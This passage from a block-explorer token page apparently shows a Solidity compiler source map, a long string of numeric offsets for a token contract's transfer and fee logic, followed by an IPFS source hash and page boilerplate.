34;8727:18;;;8720:62;-1:-1:-1;;;8798:18:1;;;8791:36;8844:19;;2826:73:0::1;8467:402:1::0;2826:73:0::1;2936:6;::::0;;2915:38:::1;::::0;-1:-1:-1;;;;;2915:38:0;;::::1;::::0;2936:6;::::1;::::0;2915:38:::1;::::0;::::1;2964:6;:17:::0;;-1:-1:-1;;;;;;2964:17:0::1;-1:-1:-1::0;;;;;2964:17:0;;;::::1;::::0;;;::::1;::::0;;2745:244::o;7127:335::-;-1:-1:-1;;;;;7220:19:0;;7212:68;;;;-1:-1:-1;;;7212:68:0;;9076:2:1;7212:68:0;;;9058:21:1;9115:2;9095:18;;;9088:30;9154:34;9134:18;;;9127:62;-1:-1:-1;;;9205:18:1;;;9198:34;9249:19;;7212:68:0;8874:400:1;7212:68:0;-1:-1:-1;;;;;7299:21:0;;7291:68;;;;-1:-1:-1;;;7291:68:0;;9481:2:1;7291:68:0;;;9463:21:1;9520:2;9500:18;;;9493:30;9559:34;9539:18;;;9532:62;-1:-1:-1;;;9610:18:1;;;9603:32;9652:19;;7291:68:0;9279:398:1;7291:68:0;-1:-1:-1;;;;;7370:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7422:32;;1361:25:1;;;7422:32:0;;1334:18:1;7422:32:0;;;;;;;7127:335;;;:::o;7574:3556::-;-1:-1:-1;;;;;7662:18:0;;7654:68;;;;-1:-1:-1;;;7654:68:0;;9884:2:1;7654:68:0;;;9866:21:1;9923:2;9903:18;;;9896:30;9962:34;9942:18;;;9935:62;-1:-1:-1;;;10013:18:1;;;10006:35;10058:19;;7654:68:0;9682:401:1;7654:68:0;-1:-1:-1;;;;;7741:16:0;;7733:64;;;;-1:-1:-1;;;7733:64:0;;10290:2:1;7733:64:0;;;10272:21:1;10329:2;10309:18;;;10302:30;10368:34;10348:18;;;10341:62;-1:-1:-1;;;10419:18:1;;;10412:33;10462:19;;7733:64:0;10088:399:1;7733:64:0;7825:1;7816:6;:10;7808:64;;;;-1:-1:-1;;;7808:64:0;;10694:2:1;7808:64:0;;;10676:21:1;10733:2;10713:18;;;10706:30;10772:34;10752:18;;;10745:62;-1:-1:-1;;;10823:18:1;;;10816:39;10872:19;;7808:64:0;10492:405:1;7808:64:0;7883:17;7932:6;7961:7;2413;2440:6;-1:-1:-1;;;;;2440:6:0;;2375:79;7961:7;-1:-1:-1;;;;;7953:15:0;:4;-1:-1:-1;;;;;7953:15:0;;;:32;;;;-1:-1:-1;2413:7:0;2440:6;-1:-1:-1;;;;;7972:13:0;;;2440:6;;7972:13;;7953:32;7949:2823;;;8014:79;8089:3;8014:70;8037:15;;8026:9;;:26;8025:58;;8069:14;;8025:58;;;8055:12;;8025:58;8014:6;;:10;:70::i;:::-;:74;;:79::i;:::-;8002:91;;8141:10;;8125:12;:26;8122:184;;8190:12;8178:25;;;;:11;:25;;;;;;8206:2;-1:-1:-1;8170:75:0;;;;-1:-1:-1;;;8170:75:0;;11104:2:1;8170:75:0;;;11086:21:1;;;11123:18;;;11116:30;11182:34;11162:18;;;11155:62;11234:18;;8170:75:0;10902:356:1;8170:75:0;8275:12;8263:25;;;;:11;:25;;;;;:27;;;;;;:::i;:::-;;;;;;8122:184;-1:-1:-1;;;;;8326:16:0;;;;;;:10;:16;;;;;;;;:50;;;;-1:-1:-1;8360:15:0;;-1:-1:-1;;;;;8346:30:0;;;8360:15;;8346:30;;8326:50;:67;;;;-1:-1:-1;;;;;;8382:11:0;;;;;;:7;:11;;;;;;;;8380:13;8326:67;8322:297;;;8433:12;;8423:6;:22;;8415:60;;;;-1:-1:-1;;;8415:60:0;;11605:2:1;8415:60:0;;;11587:21:1;11644:2;11624:18;;;11617:30;11683:27;11663:18;;;11656:55;11728:18;;8415:60:0;11403:349:1;8415:60:0;8528:14;;8518:6;8502:13;8512:2;-1:-1:-1;;;;;6277:18:0;6250:7;6277:18;;;:9;:18;;;;;;;6184:119;8502:13;:22;;;;:::i;:::-;:40;;8494:79;;;;-1:-1:-1;;;8494:79:0;;12089:2:1;8494:79:0;;;12071:21:1;12128:2;12108:18;;;12101:30;12167:28;12147:18;;;12140:56;12213:18;;8494:79:0;11887:350:1;8494:79:0;8592:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8322:297;-1:-1:-1;;;;;8640:14:0;;;;;;:10;:14;;;;;;;;8639:15;:32;;;;-1:-1:-1;;;;;;8660:11:0;;;;;;:7;:11;;;;;;;;8658:13;8639:32;8635:152;;;8726:14;;8716:6;8700:13;8710:2;-1:-1:-1;;;;;6277:18:0;6250:7;6277:18;;;:9;:18;;;;;;;6184:119;8700:13;:22;;;;:::i;:::-;:40;;8692:79;;;;-1:-1:-1;;;8692:79:0;;12089:2:1;8692:79:0;;;12071:21:1;12128:2;12108:18;;;12101:30;12167:28;12147:18;;;12140:56;12213:18;;8692:79:0;11887:350:1;8692:79:0;-1:-1:-1;;;;;8806:14:0;;;;;;:10;:14;;;;;;;;:38;;;;-1:-1:-1;;;;;;8824:20:0;;8839:4;8824:20;;8806:38;8803:172;;;8877:82;8955:3;8877:73;8900:16;;8889:9;;:27;8888:61;;8934:15;;8888:61;;;8919:13;;8877:6;;:10;:73::i;:82::-;8865:94;;8803:172;-1:-1:-1;;;;;8994:21:0;;9010:4;8994:21;;;;:38;;-1:-1:-1;;;;;;9019:13:0;;;;;;:7;:13;;;;;;;;8994:38;8991:467;;;9052:20;9122:12;;9112:6;:22;9095:348;;-1:-1:-1;9193:2:0;9095:348;;;9294:16;;9283:9;;:27;:60;;9328:15;;9283:60;;;9313:13;;9283:60;9381:12;;9267:76;;-1:-1:-1;9377:46:0;;9396:26;:8;9267:76;9396:12;:26::i;:::-;9377:3;:46::i;:::-;9366:57;;9095:348;9033:425;8991:467;-1:-1:-1;;;;;9470:16:0;;;;;;:10;:16;;;;;;;;9469:17;:36;;;;-1:-1:-1;;;;;;9491:14:0;;;;;;:10;:14;;;;;;;;9490:15;9469:36;:60;;;;-1:-1:-1;;;;;;9509:20:0;;9524:4;9509:20;;9469:60;9465:115;;;9563:1;9551:13;;9465:115;9645:4;9596:28;6277:18;;;:9;:18;;;;;;9670:10;;;;;;;:21;;;;-1:-1:-1;9685:6:0;;;;9684:7;9670:21;:39;;;;-1:-1:-1;;;;;;9695:14:0;;;;;;:10;:14;;;;;;;;9670:39;:54;;;;-1:-1:-1;9713:11:0;;;;;;;9670:54;:86;;;;;9738:18;;9728:9;;:28;9670:86;9666:1095;;;9796:13;;9781:12;:28;9777:90;;;9846:1;9834:9;:13;9777:90;9910:17;;9889:20;:38;9885:132;;;9950:67;9967:49;9971:6;9978:37;9982:20;10003:11;;9978:3;:37::i;9967:49::-;9950:16;:67::i;:::-;10065:21;10156:35;10169:21;10156:12;:35::i;:::-;10229:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;10275:12:0;10259:13;:28;-1:-1:-1;9666:1095:0;;;10328:6;;;;10327:7;:25;;;;-1:-1:-1;;;;;;10338:14:0;;;;;;:10;:14;;;;;;;;10327:25;:40;;;;-1:-1:-1;10356:11:0;;;;;;;10327:40;:72;;;;;10381:18;;10371:9;;:28;10327:72;10324:437;;;10445:17;;10424:20;:38;10420:132;;;10485:67;10502:49;10506:6;10513:37;10517:20;10538:11;;10513:3;:37::i;10485:67::-;10600:21;10691:35;10704:21;10691:12;:35::i;:::-;10401:360;10324:437;7987:2785;7949:2823;10787:11;;10784:161;;10855:4;10837:24;;;;:9;:24;;;;;;:39;;10866:9;10837:28;:39::i;:::-;10830:4;10812:24;;;;:9;:24;;;;;;;:64;;;;10894:39;;-1:-1:-1;;;;;10894:39:0;;;;;;;10923:9;1361:25:1;;1349:2;1334:18;;1215:177;10894:39:0;;;;;;;;10784:161;-1:-1:-1;;;;;10971:15:0;;;;;;:9;:15;;;;;;:29;;10991:8;10971:19;:29::i;:::-;-1:-1:-1;;;;;10955:15:0;;;;;;:9;:15;;;;;:45;11025:40;11043:21;:6;11054:9;11043:10;:21::i;:::-;-1:-1:-1;;;;;11025:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11011:13:0;;;;;;;:9;:13;;;;;:54;;;;11081:41;;;11100:21;:6;11111:9;11100:10;:21::i;:::-;11081:41;;1361:25:1;;;1349:2;1334:18;11081:41:0;;;;;;;7643:3487;;7574:3556;;;:::o;1267:190::-;1353:7;1389:12;1381:6;;;;1373:29;;;;-1:-1:-1;;;1373:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1413:9:0;1425:5;1429:1;1425;:5;:::i;:::-;1413:17;1267:190;-1:-1:-1;;;;;1267:190:0:o;1465:246::-;1523:7;1547:1;1552;1547:6;1543:47;;-1:-1:-1;1577:1:0;1570:8;;1543:47;1600:9;1612:5;1616:1;1612;:5;:::i;:::-;1600:17;-1:-1:-1;1645:1:0;1636:5;1640:1;1600:17;1636:5;:::i;:::-;:10;1628:56;;;;-1:-1:-1;;;1628:56:0;;12799:2:1;1628:56:0;;;12781:21:1;12838:2;12818:18;;;12811:30;12877:34;12857:18;;;12850:62;-1:-1:-1;;;12928:18:1;;;12921:31;12969:19;;1628:56:0;12597:397:1;1628:56:0;1702:1;1465:246;-1:-1:-1;;;1465:246:0:o;1719:132::-;1777:7;1804:39;1808:1;1811;1804:39;;;;;;;;;;;;;;;;;:3;:39::i;11140:98::-;11197:7;11224:1;11222;:3;11221:9;;11229:1;11221:9;;;-1:-1:-1;11227:1:0;11140:98;-1:-1:-1;11140:98:0:o;11246:483::-;5390:6;:13;;-1:-1:-1;;5390:13:0;5399:4;5390:13;;;11348:16:::1;::::0;;11362:1:::1;11348:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11348:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11348:16:0::1;11324:40;;11393:4;11375;11380:1;11375:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11375:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11419:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11419:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11375:7;;11419:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11409:4;11414:1;11409:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11409:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11484:15:::1;::::0;11452:62:::1;::::0;11469:4:::1;::::0;11484:15:::1;11502:11:::0;11452:8:::1;:62::i;:::-;11525:15;::::0;:196:::1;::::0;-1:-1:-1;;;11525:196:0;;-1:-1:-1;;;;;11525:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11606:11;;11525:15:::1;::::0;11648:4;;11675::::1;::::0;11695:15:::1;::::0;11525:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5426:6:0;:14;;-1:-1:-1;;5426:14:0;;;-1:-1:-1;;;;11246:483:0:o;12666:92::-;12723:10;;:27;;-1:-1:-1;;;;;12723:10:0;;;;:27;;;;;12743:6;;12723:10;:27;:10;:27;12743:6;12723:10;:27;;;;;;;;;;;;;;;;;;;;;12666:92;:::o;936:179::-;994:7;;1026:5;1030:1;1026;:5;:::i;:::-;1014:17;;1055:1;1050;:6;;1042:46;;;;-1:-1:-1;;;1042:46:0;;14450:2:1;1042:46:0;;;14432:21:1;14489:2;14469:18;;;14462:30;14528:29;14508:18;;;14501:57;14575:18;;1042:46:0;14248:351:1;1123:136:0;1181:7;1208:43;1212:1;1215;1208:43;;;;;;;;;;;;;;;;;:3;:43::i;1859:189::-;1945:7;1980:12;1973:5;1965:28;;;;-1:-1:-1;;;1965:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2004:9:0;2016:5;2020:1;2016;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:180::-;2566:6;2619:2;2607:9;2598:7;2594:23;2590:32;2587:52;;;2635:1;2632;2625:12;2587:52;-1:-1:-1;2658:23:1;;2507:180;-1:-1:-1;2507:180:1:o;2692:118::-;2778:5;2771:13;2764:21;2757:5;2754:32;2744:60;;2800:1;2797;2790:12;2815:241;2871:6;2924:2;2912:9;2903:7;2899:23;2895:32;2892:52;;;2940:1;2937;2930:12;2892:52;2979:9;2966:23;2998:28;3020:5;2998:28;:::i;3061:388::-;3129:6;3137;3190:2;3178:9;3169:7;3165:23;3161:32;3158:52;;;3206:1;3203;3196:12;3158:52;3245:9;3232:23;3264:31;3289:5;3264:31;:::i;:::-;3314:5;-1:-1:-1;3371:2:1;3356:18;;3343:32;3384:33;3343:32;3384:33;:::i;:::-;3436:7;3426:17;;;3061:388;;;;;:::o;3454:309::-;3519:6;3527;3580:2;3568:9;3559:7;3555:23;3551:32;3548:52;;;3596:1;3593;3586:12;3548:52;3635:9;3622:23;3654:28;3676:5;3654:28;:::i;3768:356::-;3970:2;3952:21;;;3989:18;;;3982:30;4048:34;4043:2;4028:18;;4021:62;4115:2;4100:18;;3768:356::o;4129:127::-;4190:10;4185:3;4181:20;4178:1;4171:31;4221:4;4218:1;4211:15;4245:4;4242:1;4235:15;4261:416;4350:1;4387:5;4350:1;4401:270;4422:7;4412:8;4409:21;4401:270;;;4481:4;4477:1;4473:6;4469:17;4463:4;4460:27;4457:53;;;4490:18;;:::i;:::-;4540:7;4530:8;4526:22;4523:55;;;4560:16;;;;4523:55;4639:22;;;;4599:15;;;;4401:270;;;4405:3;4261:416;;;;;:::o;4682:806::-;4731:5;4761:8;4751:80;;-1:-1:-1;4802:1:1;4816:5;;4751:80;4850:4;4840:76;;-1:-1:-1;4887:1:1;4901:5;;4840:76;4932:4;4950:1;4945:59;;;;5018:1;5013:130;;;;4925:218;;4945:59;4975:1;4966:10;;4989:5;;;5013:130;5050:3;5040:8;5037:17;5034:43;;;5057:18;;:::i;:::-;-1:-1:-1;;5113:1:1;5099:16;;5128:5;;4925:218;;5227:2;5217:8;5214:16;5208:3;5202:4;5199:13;5195:36;5189:2;5179:8;5176:16;5171:2;5165:4;5162:12;5158:35;5155:77;5152:159;;;-1:-1:-1;5264:19:1;;;5296:5;;5152:159;5343:34;5368:8;5362:4;5343:34;:::i;:::-;5413:6;5409:1;5405:6;5401:19;5392:7;5389:32;5386:58;;;5424:18;;:::i;:::-;5462:20;;4682:806;-1:-1:-1;;;4682:806:1:o;5493:140::-;5551:5;5580:47;5621:4;5611:8;5607:19;5601:4;5580:47;:::i;5638:168::-;5711:9;;;5742;;5759:15;;;5753:22;;5739:37;5729:71;;5780:18;;:::i;6163:251::-;6233:6;6286:2;6274:9;6265:7;6261:23;6257:32;6254:52;;;6302:1;6299;6292:12;6254:52;6334:9;6328:16;6353:31;6378:5;6353:31;:::i;7340:306::-;7428:6;7436;7444;7497:2;7485:9;7476:7;7472:23;7468:32;7465:52;;;7513:1;7510;7503:12;7465:52;7542:9;7536:16;7526:26;;7592:2;7581:9;7577:18;7571:25;7561:35;;7636:2;7625:9;7621:18;7615:25;7605:35;;7340:306;;;;;:::o;7930:245::-;7997:6;8050:2;8038:9;8029:7;8025:23;8021:32;8018:52;;;8066:1;8063;8056:12;8018:52;8098:9;8092:16;8117:28;8139:5;8117:28;:::i;11263:135::-;11302:3;11323:17;;;11320:43;;11343:18;;:::i;:::-;-1:-1:-1;11390:1:1;11379:13;;11263:135::o;11757:125::-;11822:9;;;11843:10;;;11840:36;;;11856:18;;:::i;12242:128::-;12309:9;;;12330:11;;;12327:37;;;12344:18;;:::i;12375:217::-;12415:1;12441;12431:132;;12485:10;12480:3;12476:20;12473:1;12466:31;12520:4;12517:1;12510:15;12548:4;12545:1;12538:15;12431:132;-1:-1:-1;12577:9:1;;12375:217::o;13131:127::-;13192:10;13187:3;13183:20;13180:1;13173:31;13223:4;13220:1;13213:15;13247:4;13244:1;13237:15;13263:980;13525:4;13573:3;13562:9;13558:19;13604:6;13593:9;13586:25;13630:2;13668:6;13663:2;13652:9;13648:18;13641:34;13711:3;13706:2;13695:9;13691:18;13684:31;13735:6;13770;13764:13;13801:6;13793;13786:22;13839:3;13828:9;13824:19;13817:26;;13878:2;13870:6;13866:15;13852:29;;13899:1;13909:195;13923:6;13920:1;13917:13;13909:195;;;13988:13;;-1:-1:-1;;;;;13984:39:1;13972:52;;14079:15;;;;14044:12;;;;14020:1;13938:9;13909:195;;;-1:-1:-1;;;;;;;14160:32:1;;;;14155:2;14140:18;;14133:60;-1:-1:-1;;;14224:3:1;14209:19;14202:35;14121:3;13263:980;-1:-1:-1;;;13263:980:1:o

Swarm Source

ipfs://172e785361946b568c88b3598f175250e279049668be96365616dbf2a6056588
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.